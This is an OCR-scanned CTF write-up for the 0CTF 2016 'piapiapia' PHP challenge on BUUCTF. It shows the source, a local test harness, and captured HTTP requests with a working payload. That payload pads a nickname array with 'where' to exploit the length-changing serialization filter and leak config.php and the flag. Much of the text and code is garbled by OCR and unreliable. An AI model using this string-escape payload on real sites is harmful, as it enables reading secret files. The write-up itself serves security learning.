[0OCTF 2016]piapiapia BUUCTF #4llwriteup

Len affo F 2021-10-13 17:1421 KA o 79 ﬁ Wi 1

SERER: A CEHRS: php web python

FRAL A B . AN R REAISCE, BE CC 4.0 BY-SA SRAUHMY, ##iEM EE B M ARSI,
ASCHEEE: httpsy/blog.csdn.net/qq 3885091 6/article/details/120729220

s

:

ctf T2
11 EBXEOITH
ITRER

Ak AR

S ALNE

php 7 51l 1 2 16 J5 2

fige 7LV

payload

/www.zip

WDt EE, EEEA AT

ﬂ| = class.php._l[E profile. php._”E resister. phokd B confis. phpE B indez. php.J[E update. phped

config.php
[t TR
- = -

=2 www 2
[ static 3
----- ~1 upload 4
B MACOSX 5
----- class.php 6
----- config.php z
----- index.php -
----- profile.php
----- register.php
----- update.php

<?php

$config['hostname']-=-"127.0.0. 1
Sconfig['username'] = "root
Sconfig[ 'ps jord'] - = ;
Sconfig['database'] = ;

Sflag-=-"";
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P2 Enable Post data

Please Update
Your Profile

Phone:
Enable Referer

Email:
Nickname:

Photo:
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update.php

//update.php
<?php
require_once('class.php');
if($_SESSION[ 'username'] == null) {
die('Login First');
}
if($_POST[ 'phone’] && $_POST['email'] && $_POST[ 'nickname'] && $_FILES['photo’']) {

$username = $_SESSION[ 'username'];
if(!preg_match('/~\d{11}$/', $_POST[ 'phone’']))
die('Invalid phone');

if(!preg_match('/~[_a-zA-708-9]{1,10}@[_a-zA-z8-9]{1,10}\.[_a-zA-z8-9]{1,10}$/', $_POST['email']))
die('Invalid email');

if(preg_match('/[*a-zA-20-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');

$file = $_FILES['photo'];
if($file['size'] < 5 or $file['size'] > 1000000)
die('Photo size error');

move_uploaded_file($file[ 'tmp_name'], 'upload/' . md5($file['name']));
$profile[ 'phone'] = $_POST[ 'phone'];

$profile[ 'email'] = $_POST['email'];

$profile[ 'nickname'] = $_POST[ 'nickname’];

$profile[ 'photo'] = 'upload/' . md5($file['name']);

$user->update_profile($username, serialize($profile));
echo 'Update Profile Success!<a href="profile .php">Your Profile</a>';
}
else {
?>
<!DOCTYPE html>
<html>
<head>
<title>UPDATE</title>
<link href="static/bootstrap.min.css" rel="stylesheet">



<script src="static/jquery.min.js"></script>
<script src="static/bootstrap.min.js"></script>
</head>
<body>
<div class="container" style="margin-top:100px">
<form action="update.php" method="post" enctype="multipart/form-data" class="well" style="width:220px;mar
<img src="static/piapiapia.gif" class="img-memeda "
<h3>Please Update Your Profile</h3>
<label>Phone:</label>
<input type="text" name="phone" style="height:30px"class="span3"/>
<label>Email:</label>
<input type="text" name="email" style="height:30px"class="span3"/>
<label>Nickname:</label>
<input type="text" name="nickname" style="height:30px" class="span3">
<label for="file">Photo:</label>
<input type="file" name="photo" style="height:30px"class="span3"/>
<button type="submit" class="btn btn-primary">UPDATE</button>

style="width:180px;margin:0px auto;">

</form>
</div>
</body>
</html>
<?php
}

?>
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update_profile()

//class.php

public function update_profile($username, $new_profile) {
$username = parent::filter($username);
$new_profile = parent::filter($new_profile);

$where = "username = '$username'";

return parent::update($this->table, 'profile', $new_profile, $where);

}

fileter()



//class.php

public function filter($string) {
$escape = array('\"'"', "\\\\');
$escape '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);

$safe = array('select', 'insert', 'update', 'delete', ‘'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg _replace($safe, 'hacker', $string);
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//test.html

<html>

<head></head>

<body></body>

<form action="test.php" method="post" enctype="multipart/form-data" class="well">
<h3>Please Update Your Profile</h3>
<label>Phone:</label>
<input type="text" name="phone" style="height:30px"class="span3"/>
<label>Email:</label>
<input type="text" name="email" style="height:3@px"class="span3"/>
<label>Nickname:</label>
<input type="text" name="nickname" style="height:30px" class="span3">
<label for="file">Photo:</label>
<input type="file" name="photo" style="height:30px"class="span3"/>
<button type="submit" class="btn btn-primary">UPDATE</button>

</form>

</html>
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//test.php

<?php

if(!preg_match('/~\d{11}$/', $_POST[ 'phone']))
die('Invalid phone');

if(!preg_match('/~[_a-zA-708-9]{1,10}@[_a-zA-28-9]{1,10}\.[_a-zA-z8-9]{1,10}$/', $_POST['email']))
die('Invalid email');

if(preg_match('/[*a-zA-208-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');
$file = $_FILES['photo'];
if($file['size'] < 5 or $file['size'] > 1000000)
die('Photo size error');
move_uploaded_file($file[ 'tmp_name'], 'upload/' . md5($file['name']));
$profile[ 'phone'] = $_POST[ 'phone'];
$profile[ 'email'] = $_POST['email'];
$profile[ 'nickname'] = $_POST[ 'nickname’];
$profile[ 'photo'] = 'upload/' . md5($file['name']);
function filter($string)

{
$escape = array('\'"', "\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', ‘where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}

#print_r($profile);

echo '<br>';

echo '<br>';

$testl = serialize($profile);
$testl = filter($testl);
echo $testi;

$test = unserialize($testl);
echo '<br>';

echo '<br>';
print_r($test);

echo '<br>';

echo '<br>';
print_r($test['phone']);
echo '<br>';

echo '<br>';
print_r($test['email']);
echo '<br>';

echo '<br>';
print_r($test['nickname']);
echo '<br>';

echo '<br>';
print_r($test['photo']);
echo '<br>';

echo '<br>';

?>
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Please Update Your Profile

Phone: 15103114513 | Email: ‘ 165789634@qq.com |Nickname: ‘ 11111 ‘ Photo: | F%... | test.jpg | UPDATE |

$profileFFIVERIFFTE
a:4:{s:5:"phone";s:11:"15103114513";5:5:"email";5:16:" 165789634 @qq.com"”;s:8:"nickname";s:5:"11111";5:5:"photo";5:39:"upload/0412c29576¢708¢f0155e8de242169b1";}

A Y ?{’I]Leofi@j@ﬁqgﬁﬁﬁ Jrirllgﬁ]eLQ%BQE%Eq%ﬁﬁmﬁ%jﬁi%ggaﬁﬁ%[photo] => upload/0412¢29576¢708cf0155e8de242169b1 )
15103114513 58 {745 AR AT R AVERIE

165789634@qq.com 55 _ {745 R AR HIEATHEFE

11111 ETITERPRRTHRAInickname

upload/0412¢29576c708cf0155e8de242169b1 55 __{T45 R FHfENTHskAIphoto
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POST Aest.php HTTRM .1

Host: localhost

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x64; nv:91.0) Gecko/20100101 Firefox/31.0
Accept: text/html application/xhtml+xml,application/xml;q=0.9 imagefwebp,*™ q=08
Accept-Language: zh-CM,zh;q=0.8 zh-TW;q=0.7 zh-HK;q=0.5 en-US;q=0.3 en;q=0.2
Accept-Encoding: gzip, deflate

Content-Type: multipart/farm-data; boundary=------------------—- 5547 165653362132158293997 3487
Content-Length: 31236

Crigin: http:/flocalhost

Connection: close

Referer: http:/flocalhost/test. himl

Upgrade-Insecure-Requests: 1

----------------------------- BE4T15653362132158293997 3487
Content-Disposition: form-data; name="phone"

15103114513
----------------------------- BEAT15R53362132158293997 3487
Content-Disposition: form-data; name="email"

165789634@qq.com
----------------------------- BEAT15R533621321562939973
Content-Disposition: form-data; name="nickname"

----------------------------- BEAT15R53362132158293997 3487
Content-Disposition: form-data; name="photo"; filename="test.jpg"
Content-Type: image/jpeg CSDN @Lelta j’fjr

(L@l



POST Hest.php HTTR/M .1

Host: localhost

User-Agent: Mozilla/s.0 (Windows NT 10.0; WinB4; x64; rv:91.0) Gecko/20100101 Firefox/31.0
Accept: text/html application/xhtml+xml applicationfxml;q=0.9 imagefwebp ™ q=0.8
Accept-Language: zh-CN,zh;q=0.8 zh-TW,q=0.7 ,zh-HK;g=0.5 en-US;q=0.3 en;q=0.2
Accept-Encading: gzip, deflate

Content-Type: multipartfform-data; boundary=----------eemmmmeeeen 5547 15653362132158293997 3487
Content-Length: 31236

Crigin: http:/localhost

Connection: close

Referer: http:/flocalhost/test html

Upgrade-Insecure-Requests: 1

————————————————————————————— 554715653362132158293997 3487
Content-Disposition: form-data; name="phone"

15103114513
————————————————————————————— 554715653362132158293997 3487
Content-Disposition: form-data; name="email"

165789634@qq.com
............................. B54715653362132158293997 3487
Content-Disposition: form-data; name="nickname[]"

1111";}s:5:"ph0tn";s:1[]:"|:onﬂg.php";}|

P L Y ) [ | e o i [ gy | 9399?348?
Content-Disposition: form-data; name="phaoto”; filename="test.jpg"
Content-Type: image/jpeg
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a:4:{s:5:"phone”;s:11:"15103114513";5:5:"email";5:16:"165789634@qq.com”;s:8:"nickname";a:1:
{i:0;5:39:"11111";}s:5:"photo";s5:10:" config.php”;}";}s:5: "photo”;s5:39: "upload/0412¢29576c708cf0155e8de242169b1";}

—
Array ( [phone] => 15103114513 [email] => 165789634@qq.com [nickname] => Array ( [0] => 11111";}s:5:"photo";s:10:"config.php”;} ) [photo] => upload/0412c29576c708cf0155e8de242169b1 )
15103114513
165789634@qqg.com
Array ([0] => 11111";}s:5:"photo";s:10:"config.php";})

upload/0412¢29576c708¢f0155e8de242169b1
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POST ftest.php HTTP/A.1

Host: localhost

User-Agent: Mazilla/5.0 (Windows NT 10.0; Win64; x64; nv:91.0) Gecka/20100101 Firefox/91.0
Accept: text/html application/xhtml+xml, application/xml;g=0.9 image/webp ™ q=0.8
Accept-Language: zh-CN zh;g=0.8,zh-TW,;q=0.7 zh-HK; g=0.5,en-US;¢=0.3 &n;q=0.2
Accept-Encoding: gzip, deflate

Content-Type: multipart/form-data; boundary=----wssscseeee--.522398803447059433267 3919967
Content-Length: 31236

Origin: http:/flocalhost

Connection: close

Referer: http:/flocalhost/test. html

Upgrade-Insecure-Requests: 1

----------------------------- 5223986034470594332673919967
Content-Disposition: form-data; name="phane"

15103114513
----------------------------- 5223988034470594332673319967
Content-Disposition: form-data; name="email"

165789634@q0.com
,,,,,,,,,,,,,,,,,,,,,,,,,,,,, 5223988034470594332673919967

| i - =" 5 ' '
Content-Digposition: form-data; name="nickname[] 344\ Whe re
181

1111 |wherewherewherewherewherewherewherawt 18 18 18 18 1 18 ewherewherewherewherewherewherewherewhere['; }s:5:"photo”;s:10: "config php”,}l
rrrrrrrrrrrrrrrrrrrrrrrrrrrrr 52239680344/ 069433267 391996

Content-Disposition: form-data; name="photo"; filename="test.jpg"

Content-Type: imagefjpeg CSDMN @Lelra-fFf




a:4:{s:5:"phone”;s:11:"15103114513";s:5:"email";5:16:"165789634@qq.com”;s:8:"nickname";a:1:
{i:0;5:209:"11111hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhack

Array ( [phone] => 15103114513 [email] => 165789634@qq.com [nickname] => Array ( [0] =>
11111hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerh
) [photo] => config.php )

15103114513

165789634@qq.com

Array ([0] =>
11111hackerhackerhackerhac|
)

ckerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerh
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a:4:{s:5:"phone";s:11:"15103114513";s:5:"email";s:16:"165789634@qq.com";s:8:"nickname";a:1:{i:0;s:209:"1111
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";}s:5:"photo";s:39:"upload/0412c29576c708cf0155e8de242169b1";
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Please Update
Your Profile

Phone:

15103114513

Email:

165789634@qqg.com
Nickname:

11111
Photo:

LS. | testjpg

UPDATE
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POST Jupdate.php HTTR/ .1
Host: de2de5368-6787-44e2-h3da-28a624105351 .noded. buuaj.cn:81

User-Agent: Mozilla/s.0 (Windows NT 10.0; Wing4; x64; rv:31.0) Gecko/20100101 Firefox/31.0

Accept: text/html application/xhtml+xml application/xml; g=0.9 image/webp **;q=0.8
Accept-Language: zh-CN zh;q=0.8,zh-TW,q=0.7 zh-HK;q=0.5 en-U5;q=0.3 en;q=0.2
Accept-Encoding: gzip, deflate

Content-Type: multipart/form-data; boundary=--—-———————--- 368041236061621300954 42688432917

Content-Length: 31246

Crigin: http://dc2de538-6787-44e2-h3da-28a6241h5351 noded. buuoj.cn:G1

Connection: close

Referer: http://de2de538-6787-44e2-h3da-28a624 105351 .noded. buuaj.cn:81/update. php

Cookie: UM_distinctid=17 c6920009 ¢4 c4-0484152a60e6f-4c3e247 b-144000-17 c6920009d46e;, PHPSESSID=3h367 haf29d7 ef1481h6eeeccbebhds

Upgrade-Insecure-Requests: 1

----------------------------- 380412360616213009544288432917
Content-Disposition: form-data; name="phone”

12103114513

————————————————————————————— 3680412360616213009544288432917
Content-Disposition: form-data; name="email"

1657896342 q0.com
————————————————————————————— 368041236061621 300954428843V

Content-Disposition: form-data; name="nicknams"

............................. 380412360616213009544288432917
Content-Disposition: form-data; name="phota"; filename="test.jpg"
Content-Type: image/jpeg

& nickname#f £z payload

POST fupdate.php HTTR/.1

Host: dc2de538-6767-44e2-b3da-268a624105351 noded. buuaj.cn:g1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WinG4; x64; nv:91.0) Gecko/20100101 Firsfox/91.0
Accept: text/html application/xhtml+xml application/xml;g=0.9 image/webp ** q=0.8
Accept-Language: zh-CN zh;q=0.8 ,zh-TW,q=0.7 ,zh-HK;q=0.5,en-US;q=0.3 en;q=0.2
Accept-Encoding: gzip, deflate

Content-Type: multipart/form-data; boundary=---------sssseeene-3804 123606 1621300954 4288432917
Content-Length: 31246

Origin: hitp: #dc2des38-6787-44e2-b3da-28a624105351 .noded. buuaj.cn:g1

Connection: close

Referer: http://dc2de538-6787-4422-b3da-28a6241b5351 . noded buuoj.cn:81/update php

Cookie: UM_distinctid=17 c6920009c4c4-0484f32a6026f5-403e247 b-144000-17 6920009046 e; PHPSESSID=3b887 b8f294d7 efl 481 hEeeeccbeShd2s
Upgrade-Insecure-Requests: 1

rrrrrrrrrrrrrrrrrrrrrrrrrrrrr 380412360616213009544288432917
Content-Disposition: form-data; name="phone"

15103114513

rrrrrrrrrrrrrrrrrrrrrrrrrrrrr 380412360616213009544288432917
Content-Disposition: form-data; name="email"

165789634@0qq.com
rrrrrrrrrrrrrrrrrrrrrrrrrrrrr 3804123606162130095442084329

Content-Disposition: form-data; name="nickname[]"

[11111whe\ t herewherewt herewherewt herewherewt herewt t herew t herew t herew t herew

herewhere";}s:5: "photo”;5:10: "config. php"; 1 ]

o lolaia potelajs ) o el e P o e e
Content-Disposition: form-data; name="phota"; filename="test jpg"
Content-Type: image/jpeq
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Hi Array i
Phone: 15103114513 Email; 165789634@qg.com

O O=ss Oeaa DEss Nus OsEs O Ons B T A58Rs 85 WEEs & Max HackBar

Q i3 HTML + X 7 iEEEs :hov .c
<script src="static/jquery.min.js"»</script> A TTE O {
<script static/bootstrap.min.js"></script> widtrj: 188px;
</head> margin: b Bpx auto;
¥ <body> ¥
w* <div class="container" style="margin-top:1@@px"> img 0+ { bo

vertical-align: middle;

efore
c EL RPN < rc="data: image/gif; !
base64, PDAwaHAKIGNvbmZpZ1snaGozdGShblWUNXSASICCxMIcuMCAwL JENOWokY29uZmlnklydlc2VybmFtZSddIDegI3] : bo
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5nZXMnOwokZmxh? y ASTCdmbGF ne zQxNDAYM2U3L Te37 T tNDVhMy 1iNWNjLTM4Mjh 1Mz YANjd jMHEnOwo/ Pgo="
= i . 180D - -
style="width:180px:mai gin.opa auiu, - B =, i:after {3 { bo
<h3»Hi Array</h3» O L. .
<label>Phone: 15183114513</label> N i B banden bawe
: — —
L box-sizing: border-box;
<label>Email: 165789634@qq.com</label> }
r:after
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i Load |_ﬂ Split | * Run |

$confié[’ﬁatabase’] = ’éhalléngeé’;
$flag = flag{414023e7-87eT-45a3—
b5cc—3828b36567c0} " ;
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